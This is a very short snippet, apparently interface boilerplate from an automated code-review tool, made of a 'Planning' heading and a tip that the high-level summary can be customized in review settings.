Planning
✏️ Tip: You can customize this high-level summary in your review settings.